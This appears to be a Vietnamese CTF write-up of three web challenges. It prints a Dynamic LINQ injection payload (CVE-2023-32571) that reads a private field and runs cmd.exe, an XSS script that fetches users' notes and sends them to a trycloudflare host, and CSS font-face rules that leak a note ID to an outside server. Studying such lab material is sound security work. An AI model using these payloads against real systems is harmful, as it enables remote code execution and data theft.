## Reflective - Notes Trong file NoteManager.cs ta tìm thấy flag sẽ được lưu vào trong biến `_flag` ![image](https://hackmd.io/_uploads/HJpYy4G3ge.png) ![image](https://hackmd.io/_uploads/B1ZElNf2gx.png) Ta thấy chuỗi `title` được nối thẳng vào tạo ra chuỗi `query` sau đó được truyền vào hàm `where` ![image](https://hackmd.io/_uploads/H1yEY4f2le.png) Ở đây phương thức `Where` là của thư viện `DynamicQueryableExtensions` . Phương thức where thuộc về LINQ (Language Integrated Query) Language-Integrated Query (LINQ) là tên gọi của một kỹ thuật cho phép tích hợp khả năng truy vấn trực tiếp trong ngôn ngữ C# Trước đây các câu truy vấn dữ liệu thường viết dạng chuỗi ( string) có nhược điểm * Không được kiểm tra kiểu dữ liệu khi biên dịch và * Không hỗ trợ IntelliSense. * Ngoài ra mỗi loại nguồn dữ liệu(SQL,XML,Web Service...) lại yêu cầu một ngôn ngữ truy vấn riêng biệt Với LINQ giải quyết vấn đề đó bằng cách coi câu truy vấn coi như là một thành phần ngôn ngữ bậc nhất tương tự như class , method , event Ta tìm thấy phiên bản của thư viện `System.Linq.Dynamic.Core` phiên bản `1.2.25` ![image](https://hackmd.io/_uploads/BkduSEG3gl.png) Phiên bản này tồn tại lỗi liên quan đến CVE-2023-32571 ![image](https://hackmd.io/_uploads/SynzqEz3lx.png) Bài viết nghiên cứu CVE :`https://www.nccgroup.com/research-blog/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/` `https://github.com/Tris0n/CVE-2023-32571-POC/` ``` "") && "".GetType().Assembly.DefinedTypes .Where(it.Name == "AppDomain").First() .DeclaredProperties.Where(it.Name == "CurrentDomain").First() .GetValue(null) // Get AppDomain.CurrentDomain .GetAssemblies() // Get all loaded assemblies [97] // Index to get the BookKeeper assembly .GetType("BookKeeper.NotesManager") // Get the NotesManager type .GetField("_flag", 40) // Get _flag field (40 = NonPublic | Static) .GetValue(null) // Get the field value .ToString() .StartsWith("{flag_prefix}") && Title.Contains(" ``` Sử dụng phương thức `CreateInstanceFromAndUnwrap` gọi `System.Diagnostics.Process` thông qua assembly. Payload sử dụng gọi phương thức `CreateInstanceFromAndUnwrap` ``` "".GetType() // Lấy type của string → System.String "".GetType().Assembly // Lấy assembly chứa System.String → mscorlib hoặc System.Private.CoreLib .Assembly.DefinedTypes // Lấy tất cả types định nghĩa trong assembly đó .Where(it => it.Name == "AppDomain") // Lọc ra type có tên là "AppDomain" .First() // Lấy type AppDomain .DeclaredMethods // Lấy các method định nghĩa trong AppDomain .Where(it => it.Name == "CreateInstanceAndUnwrap") // Lọc theo tên method .First() // Lấy method đầu tiên (có thể có overloads) ``` Sử dụng phương thức CreateInstanceAndUnwrap gọi System.Diagnostics.Process ``` "".GetType() // Lấy kiểu dữ liệu của chuỗi rỗng → System.String .Assembly // Lấy assembly chứa System.String → mscorlib hoặc System.Private.CoreLib .DefinedTypes // Lấy tất cả các Type được định nghĩa trong assembly đó .Where(it => it.Name == "AppDomain") // Lọc ra kiểu có tên là "AppDomain" .First() // Lấy TypeInfo đầu tiên khớp → System.AppDomain .DeclaredMethods // Lấy tất cả method được khai báo trong AppDomain .Where(it => it.Name == "CreateInstanceAndUnwrap") // Lọc method có tên là "CreateInstanceAndUnwrap" .First() // Lấy method đầu tiên khớp .Invoke( // Gọi method thông qua Reflection // ---- Tham số 1: Đối tượng gọi hàm instance (ở đây là AppDomain.CurrentDomain) ---- "".GetType() // Lấy kiểu của string → System.String .Assembly // Lấy assembly chứa string .DefinedTypes // Lấy danh sách các Type trong assembly .Where(it => it.Name == "AppDomain") // Lọc Type có tên "AppDomain" .First() // Lấy AppDomain .DeclaredProperties // Lấy các property định nghĩa trong AppDomain .Where(it => it.Name == "CurrentDomain") // Lọc property tên "CurrentDomain" .First() // Lấy property đầu tiên khớp .GetValue(null), // Lấy giá trị property (vì là static nên truyền null) // ---- Tham số 2: Mảng chứa các đối số truyền cho CreateInstanceAndUnwrap ---- "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process" .Split(";".ToCharArray()) // Tách chuỗi thành mảng string: // [0]: "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089" // [1]: " System.Diagnostics.Process" (có thể chứa dấu cách đầu dòng) ) ``` Bằng kết nối phương thức của lớp System.Diagnostics.Process , chúng ta sử dụng System.Diagnostics.Process.Start thực thi câu lệnh hệ thống : ``` .GetType() // Lấy type của object vừa tạo → System.Diagnostics.Process .Assembly // Lấy assembly chứa Process .DefinedTypes .Where(it => it.Name == "Process") // Tìm type Process .First() .DeclaredMethods .Where(it => it.Name == "Start") // Tìm method Start (nhiều overloads) .Take(3) // Lấy 3 overload đầu tiên .Last() // Lấy overload thứ 3 (vị trí thứ 2) .Invoke( null, // Là static method → object = null "cmd.exe;/c calc.exe".Split(";".ToCharArray()) // Tham số truyền: fileName = "cmd.exe", args = "/c calc.exe" ) ``` ![image](https://hackmd.io/_uploads/ryvvBKCjxg.png) ## Love-Notes ![image](https://hackmd.io/_uploads/Sk3GvAf2gl.png) Ta có chức năng tạo 1 bài note ![image](https://hackmd.io/_uploads/r16iORGhlx.png) Và ta có thể click vào xem chi tiết bài blog ![image](https://hackmd.io/_uploads/S1XyY0M3xl.png) Ở đây ta khi ta click vào xem chi tiết bài blog thì có 2 lần alert(1) -> Cả mục `Title` và `Content` đều bị XSS Có thêm chức năng `Report` để admin đến xem chi tiết bài note ![image](https://hackmd.io/_uploads/H1PtKAfnll.png) Đọc source code Trong file docker-compose.yml ta thấy flag lưu trong biến `FLAG` ![image](https://hackmd.io/_uploads/r1HKkRGhge.png) Biến Flag nằm trong bài note được tạo tự động thông qua hàm `createDefaultUserAndNotes` , hàm này tự động chạy khi lab bắt đầu . Là bài note của admin ![image](https://hackmd.io/_uploads/SyuXxCMhel.png) Trong file bot.js ![image](https://hackmd.io/_uploads/r12pcpGhlx.png) Ta thấy bot admin sẽ truy cập đường dẫn `/dashboard?reviewNote=' +noteId` với giá trị `noteId` được truyền tới . Tìm thấy các biện pháp bảo vệ chống XSS trong file app.py ``` app.use(bodyParser.urlencoded({ extended: false })) app.use(cookieParser()); app.use((req, res, next) => { // Prevent any attack res.setHeader('X-Frame-Options', 'DENY'); res.setHeader('Content-Security-Policy', `script-src ${HOSTNAME}/static/dashboard.js https://js.hcaptcha.com/1/api.js; style-src ${HOSTNAME}/static/; img-src 'none'; connect-src 'self'; media-src 'none'; object-src 'none'; prefetch-src 'none'; frame-ancestors 'none'; form-action 'self'; frame-src 'none';`); res.setHeader('Referrer-Policy', 'no-referrer'); res.setHeader('Cache-Control', 'no-store'); next(); }); ``` ``` res.setHeader('Content-Security-Policy', ` script-src ${HOSTNAME}/static/dashboard.js https://js.hcaptcha.com/1/api.js; // Chỉ cho phép JS từ dashboard.js và hcaptcha, chặn inline và JS từ domain khác (ngăn XSS) style-src ${HOSTNAME}/static/; // Chỉ load CSS từ host, chặn inline style img-src 'none'; // Không tải ảnh từ bất cứ đâu (ngăn exfiltration qua <img>) connect-src 'self'; // Chỉ cho phép AJAX/fetch/WebSocket tới chính domain (ngăn data leak) media-src 'none'; // Không load audio/video từ bên ngoài object-src 'none'; // Chặn <object>, <embed>, <applet> (ngăn RCE qua plugin cũ) prefetch-src 'none'; // Chặn prefetch tài nguyên từ domain khác frame-ancestors 'none'; // Không cho trang được nhúng trong iframe (ngăn clickjacking) form-action 'self'; // Form chỉ submit tới chính domain, không submit ra bên ngoài frame-src 'none'; // Không load iframe từ đâu cả `); ``` Đường dẫn /:noteId truyền tới tham số `nodeId` ![image](https://hackmd.io/_uploads/rkO5FpG3eg.png) Tìm bài note dựa theo `noteId` , nếu tồn tại trả về phản hồi tự tạo nhưng thiếu * Header Content-Type nên mặc định được đặt là `text/html` -> Render có thể xảy ralỗ hổng XSS * bảo vệ CSP -> Có thể thực thi script mà không bị giới hạn . Ý tưởng khai thác : Lấy được bài note của admin ra ngoài để xem flag . Khi admin thăm bài note sẽ theo đường dẫn này `http://localhost:8000/dashboard?reviewNote='+noteId` sẽ phải tuân theo CSP vẫn thực thi được script nhưng không thể leak nội dung chứa flag ra ngoài . Ta cần thêm bước chuyển hướng bot tới đường dẫn `/:noteId` không bị CSP giới hạn khi này ta có dễ dàng leak được note ra bên ngoài để đọc ### Khai thác Ta tạo 1 đoạn note có `content` ``` <script>fetch('/api/notes/').then(r=>r.json()).then(d=>location='https://paperback-bunny-searching-researcher.trycloudflare.com/k='+encodeURIComponent(JSON.stringify(d)))</script> ``` Nó sẽ tác dụng gửi tất cả các bài note hiện tại của người dùng về khi được thực thi `https://paperback-bunny-searching-researcher.trycloudflare.com` ![image](https://hackmd.io/_uploads/By06wlXhgx.png) Ta truy cập tới đường dẫn `/api/notes/1dfeac41-e87e-42a9-833c-b1127b67928a` ![image](https://hackmd.io/_uploads/HyJfugX2le.png) ![image](https://hackmd.io/_uploads/BkFN_e73le.png) ![image](https://hackmd.io/_uploads/BJBhueQnxl.png) ![image](https://hackmd.io/_uploads/HkXgtxX2lg.png) ![image](https://hackmd.io/_uploads/BJTR_x7nxl.png) ![image](https://hackmd.io/_uploads/rkR-Ye73xg.png) ![image](https://hackmd.io/_uploads/B1mHYeQ3xe.png) `crew{csp_trick_with_a_bit_of_css_spices_fBi4WVX1kGzPtavs}` ## Hate-Loves Bài này là 1 bài phát triển của bài trên /api/noteId đã có thêm biện pháp CSP ![image](https://hackmd.io/_uploads/SyUKTxQ2gl.png) Nhìn lại CSP ``` res.setHeader('Content-Security-Policy', ` script-src ${HOSTNAME}/static/dashboard.js https://js.hcaptcha.com/1/api.js; // Chỉ cho phép JS từ dashboard.js và hcaptcha, chặn inline và JS từ domain khác (ngăn XSS) style-src ${HOSTNAME}/static/; // Chỉ load CSS từ host, chặn inline style img-src 'none'; // Không tải ảnh từ bất cứ đâu (ngăn exfiltration qua <img>) connect-src 'self'; // Chỉ cho phép AJAX/fetch/WebSocket tới chính domain (ngăn data leak) media-src 'none'; // Không load audio/video từ bên ngoài object-src 'none'; // Chặn <object>, <embed>, <applet> (ngăn RCE qua plugin cũ) prefetch-src 'none'; // Chặn prefetch tài nguyên từ domain khác frame-ancestors 'none'; // Không cho trang được nhúng trong iframe (ngăn clickjacking) form-action 'self'; // Form chỉ submit tới chính domain, không submit ra bên ngoài frame-src 'none'; // Không load iframe từ đâu cả `); ``` Bypass CSP bằng các tải `font` từ các nguồn . VÌ không có quy định về `font-src`ta có thể sử dụng kỹ thuật CSS trích xuất dần các ký tự của id Với id có định dạng các ký tự từ a đến f in hoa in thường , số chạy từ 0 đến 9 Với `4fa71afe-292d-4975-8b61-e5d514613cb0` ta có định dạng 8-4-4-4-12 ``` @font-face { font-family: exfilFont0; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=0); } a[href^='/api/notes/0'] { font-family: exfilFont0; } @font-face { font-family: exfilFont1; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=1); } a[href^='/api/notes/1'] { font-family: exfilFont1; } @font-face { font-family: exfilFont2; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=2); } a[href^='/api/notes/2'] { font-family: exfilFont2; } @font-face { font-family: exfilFont3; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=3); } a[href^='/api/notes/3'] { font-family: exfilFont3; } @font-face { font-family: exfilFont4; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=4); } a[href^='/api/notes/4'] { font-family: exfilFont4; } @font-face { font-family: exfilFont5; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=5); } a[href^='/api/notes/5'] { font-family: exfilFont5; } @font-face { font-family: exfilFont6; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=6); } a[href^='/api/notes/6'] { font-family: exfilFont6; } @font-face { font-family: exfilFont7; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=7); } a[href^='/api/notes/7'] { font-family: exfilFont7; } @font-face { font-family: exfilFont8; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=8); } a[href^='/api/notes/8'] { font-family: exfilFont8; } @font-face { font-family: exfilFont9; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=9); } a[href^='/api/notes/9'] { font-family: exfilFont9; } @font-face { font-family: exfilFonta; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=a); } a[href^='/api/notes/a'] { font-family: exfilFonta; } @font-face { font-family: exfilFontb; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=b); } a[href^='/api/notes/b'] { font-family: exfilFontb; } @font-face { font-family: exfilFontc; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=c); } a[href^='/api/notes/c'] { font-family: exfilFontc; } @font-face { font-family: exfilFontd; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=d); } a[href^='/api/notes/d'] { font-family: exfilFontd; } @font-face { font-family: exfilFonte; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=e); } a[href^='/api/notes/e'] { font-family: exfilFonte; } @font-face { font-family: exfilFontf; src: url(https://refresh-nutrition-substance-draw.trycloudflare.com/?id=f); } a[href^='/api/notes/f'] { font-family: exfilFontf; } ``` ![image](https://hackmd.io/_uploads/HJiHV-Xngx.png) ``` <link rel=stylesheet href="/static/api/notes/4fa71afe-292d-4975-8b61-e5d514613cb0"/> ``` ![image](https://hackmd.io/_uploads/H1qw4b7nll.png) ![image](https://hackmd.io/_uploads/r1jetZQ2gg.png) ![image](https://hackmd.io/_uploads/S1nzYWm3ee.png)